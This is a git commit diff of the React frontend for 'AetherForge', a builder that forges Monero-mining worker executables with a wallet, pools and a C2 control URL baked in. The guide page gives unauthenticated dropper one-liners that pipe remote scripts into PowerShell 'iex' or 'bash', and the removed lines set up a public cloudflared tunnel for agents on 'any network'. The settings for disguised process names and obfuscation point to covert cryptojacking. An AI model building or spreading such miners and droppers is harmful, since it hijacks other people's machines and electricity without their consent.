Add pool presets, operator bake-ins, and USB pack improvements

- Pool preset checkboxes with failover in Calibrate and Forge

- Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt

- USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
This commit is contained in:
AetherForge
2026-06-01 21:06:19 -07:00
parent 1e0482ebe1
commit 1413a9394f
29 changed files with 1078 additions and 314 deletions

View File

@@ -59,6 +59,7 @@ describe('BuilderPage', () => {
});
afterEach(() => {
vi.unstubAllGlobals();
cleanup();
});
@@ -115,6 +116,34 @@ describe('BuilderPage', () => {
expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
});
it('offers forge-next-worker after a successful build', async () => {
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
await userEvent.setup().click(screen.getByRole('button', { name: 'Forge next worker' }));
expect(screen.queryByText('worker-1.exe')).not.toBeInTheDocument();
expect(screen.getByPlaceholderText(/office-pc-1/i)).toHaveValue('worker-2');
});
it('shows fleet blueprint save prompt after first successful forge', async () => {
const promptMock = vi.fn().mockReturnValue('fleet-default');
vi.stubGlobal('prompt', promptMock);
const saveSpy = vi.spyOn(api, 'saveBlueprint');
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
await userEvent.setup().click(screen.getByRole('button', { name: 'Save as fleet blueprint' }));
await waitFor(() => {
expect(promptMock).toHaveBeenCalledWith('Save this setup as a fleet blueprint:', 'fleet-default');
expect(saveSpy).toHaveBeenCalledWith('fleet-default', expect.any(Object));
});
});
it('blocks forge when preflight has errors (empty wallet)', async () => {
renderBuilder();
const wallet = await screen.findByDisplayValue(/^4A+/);

View File

@@ -5,7 +5,15 @@ import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
import {
forgeDefaultsFromServerSmart,
applySmartForgeDefaults,
RECOMMENDED_DEFAULTS_BLURB,
suggestWorkerName,
processNameForWorker,
} from '../help/forgeSmartDefaults';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
@@ -21,6 +29,7 @@ import {
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
@@ -121,7 +130,10 @@ export default function BuilderPage() {
const cancelTokenRef = useRef<string>('');
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [listenPort, setListenPort] = useState(8989);
const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
const forgedThisSessionRef = useRef(false);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
@@ -197,6 +209,7 @@ export default function BuilderPage() {
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
.then(([config, info, builds]) => {
setCalibrateConfig(config);
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
const candidates = lanEndpointCandidates(info, config.port || info.port);
@@ -235,7 +248,40 @@ export default function BuilderPage() {
setStage('Build complete!', 100);
setLastBuild(result);
loadRecentBuilds();
// No auto-download — user downloads from the strip below or Build Manager page
if (!forgedThisSessionRef.current) {
forgedThisSessionRef.current = true;
setShowBlueprintOffer(true);
}
};
const handleForgeNextWorker = () => {
if (!form) return;
const name = suggestWorkerName([
...recentBuilds,
{ worker_name: form.worker_name } as BuildRecord,
]);
setForm({
...form,
worker_name: name,
process_name: processNameForWorker(name),
});
setLastBuild(null);
setError('');
};
const handleSaveFleetBlueprint = async () => {
if (!form) return;
const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setShowBlueprintOffer(false);
setTimeout(() => setBlueprintMsg(''), 4000);
} catch (err: unknown) {
setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
}
};
// Blueprint: save current form as a named blueprint
@@ -696,9 +742,11 @@ export default function BuilderPage() {
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
{/* Hidden file input for importing blueprint .json files */}
<input
type="file"
@@ -915,10 +963,11 @@ export default function BuilderPage() {
/>
<div className="form-group">
<div className="label-row">
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
<label htmlFor="forge-worker-name" className="label">Worker Name <HelpTip field="worker_name" /></label>
<ForgeFieldBadge meta={fieldMeta.worker_name} />
</div>
<input
id="forge-worker-name"
type="text"
className="input"
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
@@ -1035,6 +1084,39 @@ export default function BuilderPage() {
<FieldHint field="wallet" />
</div>
<div className="form-section">
<ForgeSectionHeader
title="Mining Pools"
badge="baked"
description="Wallet-only Monero pools — baked into the worker. Unreachable pools are skipped in order."
/>
<PoolPresetPicker
host={form.pool_host}
port={form.pool_port}
tls={form.pool_tls}
pass={form.pool_pass || 'x'}
backups={form.backup_pools}
showManualFields={!simpleMode}
onChange={(next) => {
updateField('pool_host', next.pool_host);
updateField('pool_port', next.pool_port);
updateField('pool_tls', next.pool_tls);
updateField('backup_pools', next.backup_pools);
}}
/>
<div className="form-group">
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
<input
type="text"
className="input"
placeholder="x"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
<p className="form-hint">Standard Monero pools use <code>x</code>.</p>
</div>
</div>
<div className="form-section">
<ForgeSectionHeader
title="Deliverable"
@@ -1156,119 +1238,6 @@ export default function BuilderPage() {
{!simpleMode && (
<>
<div className="form-section">
<ForgeSectionHeader
title="Pool Configuration"
badge="baked"
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
/>
<div className="form-group">
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
<input
type="text"
className="input"
value={form.pool_host}
onChange={(e) => updateField('pool_host', e.target.value)}
required
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port <HelpTip field="pool_port" /></label>
<input
type="number"
className="input"
min={1}
max={65535}
value={form.pool_port}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
/>
</div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.pool_tls}
onChange={(e) => updateField('pool_tls', e.target.checked)}
/>
<span>Use TLS/SSL <HelpTip field="pool_tls" /></span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
<input
type="text"
className="input"
placeholder="x"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
<p className="form-hint">Standard Monero pools use <code>x</code> leave blank to use that default.</p>
</div>
{/* ── Backup pools (advanced) ──────────────────────────────── */}
{!simpleMode && (
<div className="form-group">
<label className="label">
Backup Pools
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
(failover if the primary pool is unreachable)
</span>
</label>
{(form.backup_pools ?? []).map((bp, i) => (
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
<input
type="text"
className="input mono"
placeholder="pool.supportxmr.com"
style={{ flex: '3 1 140px' }}
value={bp.host}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], host: e.target.value };
updateField('backup_pools', pools);
}}
/>
<input
type="number"
className="input"
placeholder="3333"
style={{ flex: '1 1 70px' }}
min={1} max={65535}
value={bp.port || ''}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
updateField('backup_pools', pools);
}}
/>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
<input type="checkbox" checked={!!bp.tls}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], tls: e.target.checked };
updateField('backup_pools', pools);
}} />
TLS
</label>
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
onClick={() => {
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
updateField('backup_pools', pools);
}}></button>
</div>
))}
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
+ Add backup pool
</button>
</div>
)}
</div>
<div className="form-section">
<ForgeSectionHeader
title="Performance & Resources"
@@ -2080,6 +2049,22 @@ export default function BuilderPage() {
</DownloadButton>
) : null
)}
<button
type="button"
className="btn btn-outline btn-sm"
onClick={handleForgeNextWorker}
>
Forge next worker
</button>
{showBlueprintOffer && (
<button
type="button"
className="btn btn-outline btn-sm"
onClick={handleSaveFleetBlueprint}
>
Save as fleet blueprint
</button>
)}
<button
type="button"
className="btn btn-outline btn-sm"

View File

@@ -2,7 +2,9 @@ import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react';
import { Link } from 'react-router-dom';
import type { Share } from '../types';
import type { Share, ServerConfig } from '../types';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import GaugeRing from '../components/Charts/GaugeRing';
import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
@@ -65,6 +67,7 @@ export default function DashboardPage() {
try { return localStorage.getItem('aether-dash-advanced') === '1'; } catch { return false; }
});
const [xmrPrice, setXmrPrice] = useState<number | null>(null);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const toggleAdvanced = () =>
setAdvancedMode((prev) => {
@@ -78,6 +81,7 @@ export default function DashboardPage() {
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
api.getConfig()
.then((cfg) => {
setCalibrateConfig(cfg);
const s = cfg.server?.dashboard_subtitle?.trim();
if (s) setSubtitle(s);
})
@@ -237,8 +241,11 @@ export default function DashboardPage() {
}
};
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
<AlertBanner alerts={alerts} />
{/* Fleet Health — always above the fold */}

View File

@@ -50,35 +50,24 @@ function StepCard({ step }: { step: CheatStep }) {
);
}
/** ASCII topology diagram — portable self-configuring setup */
/** ASCII topology diagram — home LAN control deck */
function TopologyDiagram() {
const lines = [
' ┌──────────────────────────────────────────────────────────────────────┐',
' │ USB / Portable Machine (any network) │',
' │ Control PC (USB portable or dev install) │',
' │ │',
' │ ┌──────────────────────────────────────────────────────────────┐ │',
' │ │ LAUNCH.bat │ │',
' │ │ │ │',
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
' │ │ LAUNCH.bat AetherForge.exe on 0.0.0.0:8989 │ │',
' │ │ Dashboard: http://localhost:8989 │ │',
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
' │ └────────────────────────┬─────────────────────────────────────┘ │',
' │ │ localhost │',
' ┌─────────────┴──────────────┐ ',
' │ │ cloudflared named tunnel │ │',
' aetherforge-c2 │──────────────▶ CF Edge │',
' └─────────────────────────────┘ │ │',
' └────────────────────────────────────────────────────────────────────┘ ',
' ',
' https://killa.thetempleofdoom.com (permanent) │',
' │',
' ┌───────────────┬───────────────┐ │',
' ▼ ▼ ▼ │',
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
' any network any network any network',
' baked C2 URL baked C2 URL baked C2 URL',
' └────────────────────────────│─────────────────────────────────────────┘',
' LAN http://192.168.x.x:8989',
' ┌────────────────┼────────────────┐',
' ▼ ▼',
' [Worker PC] [Worker PC] [Worker PC]',
' forged agent forged agent forged agent',
' phones home phones home phones home',
];
return (
<div className="guide-topology">
@@ -116,31 +105,30 @@ export default function GuidePage() {
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> it does not need to know about Cloudflare.
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
Agents connect to the Cloudflare tunnel URL baked at Forge time.
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
</p>
<TopologyDiagram />
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
<div className="guide-step-num">💡</div>
<div className="guide-step-body">
<h4>How it works on any machine</h4>
<h4>Home LAN setup</h4>
<ul className="guide-tips">
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
<li>
<Link to="/settings" className="guide-link">Calibrate</Link> Use detected LAN Use best defaults Save
</li>
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
</ul>
<CodeBlock code={`# One-time setup (any machine, done once):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
# After that — just run:
LAUNCH.bat`} />
<CodeBlock code={`# Typical flow:
LAUNCH.bat
# Browser: http://localhost:8989
# Calibrate public URL: http://192.168.1.50:8989
# Forge control endpoint: same LAN URL`} />
</div>
</div>
</NeonCard>
@@ -161,26 +149,27 @@ LAUNCH.bat`} />
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first replace the host with your
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
</p>
<div className="guide-dropper-grid">
<div className="guide-dropper-item">
<span className="guide-dropper-os">Windows</span>
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Linux / macOS</span>
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Direct binary</span>
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
https://killa.thetempleofdoom.com/get?os=linux
https://killa.thetempleofdoom.com/get`} />
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
http://192.168.1.50:8989/get?os=linux
http://192.168.1.50:8989/get`} />
</div>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
</p>
</NeonCard>

View File

@@ -94,7 +94,7 @@ describe('SettingsPage (Calibrate)', () => {
expect(publicUrlInput.value).toBe('');
await userEvent.setup().click(screen.getByRole('button', { name: 'Use best defaults' }));
expect(
await screen.findByText('Best defaults applied to the form — click Save Calibration to keep them.')
await screen.findByText(/Best defaults applied.*Save Calibration/i)
).toBeInTheDocument();
expect(publicUrlInput.value).toBe(mockServerInfo.suggested_url);
});

View File

@@ -2,7 +2,15 @@ import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig } from '../types';
import {
DEFAULT_PRESET_IDS,
orderedPoolsFromSelection,
applyPoolsToForgeFields,
} from '../help/poolPresets';
import { looksLikeXMRWallet } from '../help/forgeValidation';
import { HelpTip, FieldHint } from '../components/HelpTip';
import PoolPresetPicker from '../components/PoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import './Pages.css';
@@ -89,6 +97,17 @@ export default function SettingsPage() {
const handleSave = async () => {
if (!config) return;
const wallet = config.wallet.address?.trim() ?? '';
if (wallet && !looksLikeXMRWallet(wallet)) {
const strict = config.server?.strict_wallet_validation ?? false;
if (strict) {
setSaveMessage('Save blocked: wallet does not look like a valid Monero mainnet address.');
return;
}
if (!window.confirm('Wallet does not look like a standard Monero address. Save anyway?')) {
return;
}
}
setSaving(true);
setSaveMessage('');
try {
@@ -272,10 +291,26 @@ export default function SettingsPage() {
updateField('server.open_firewall_on_start', true);
updateField('server.obfuscate_default', false);
updateField('server.sign_enabled', false);
const pools = orderedPoolsFromSelection(
[...DEFAULT_PRESET_IDS],
config.pool.password || 'x'
);
const poolFields = applyPoolsToForgeFields(pools);
updateField('pool.host', poolFields.pool_host);
updateField('pool.port', poolFields.pool_port);
updateField('pool.use_tls', poolFields.pool_tls);
updateField(
'pool.backup_pools',
poolFields.backup_pools.map((bp) => ({
host: bp.host,
port: bp.port,
use_tls: bp.tls,
}))
);
if (!config.wallet.address?.trim()) {
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
setSaveMessage('TLS pool presets + LAN URL applied — set your Monero wallet, then Save Calibration.');
} else {
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
setSaveMessage('Best defaults applied (LAN URL + TLS pool presets) — click Save Calibration to keep them.');
}
}}
>
@@ -335,26 +370,29 @@ export default function SettingsPage() {
<NeonCard accent="cyan" className="settings-section">
<h2 className="font-display">Upstream Pool</h2>
<p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p>
<div className="form-group">
<label htmlFor="cfg-pool-host" className="label">Pool Host <HelpTip field="pool_host" /></label>
<input id="cfg-pool-host" type="text" className="input" value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)} />
</div>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-pool-port" className="label">Port</label>
<input id="cfg-pool-port" type="number" className="input" value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} />
</div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.pool.use_tls}
onChange={(e) => updateField('pool.use_tls', e.target.checked)} />
<span>Use TLS</span>
</label>
</div>
</div>
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own unreachable pools are skipped automatically.</p>
<PoolPresetPicker
host={config.pool.host}
port={config.pool.port}
tls={config.pool.use_tls}
pass={config.pool.password || 'x'}
backups={(config.pool.backup_pools ?? []).map(
(bp): BackupPool => ({ host: bp.host, port: bp.port, tls: bp.use_tls, pass: config.pool.password || 'x' })
)}
onChange={(next) => {
updateField('pool.host', next.pool_host);
updateField('pool.port', next.pool_port);
updateField('pool.use_tls', next.pool_tls);
updateField(
'pool.backup_pools',
(next.backup_pools ?? []).map((bp) => ({
host: bp.host,
port: bp.port,
use_tls: bp.tls,
}))
);
}}
/>
<div className="form-group">
<label htmlFor="cfg-pool-pass" className="label">Pool Password</label>
<input id="cfg-pool-pass" type="text" className="input" value={config.pool.password}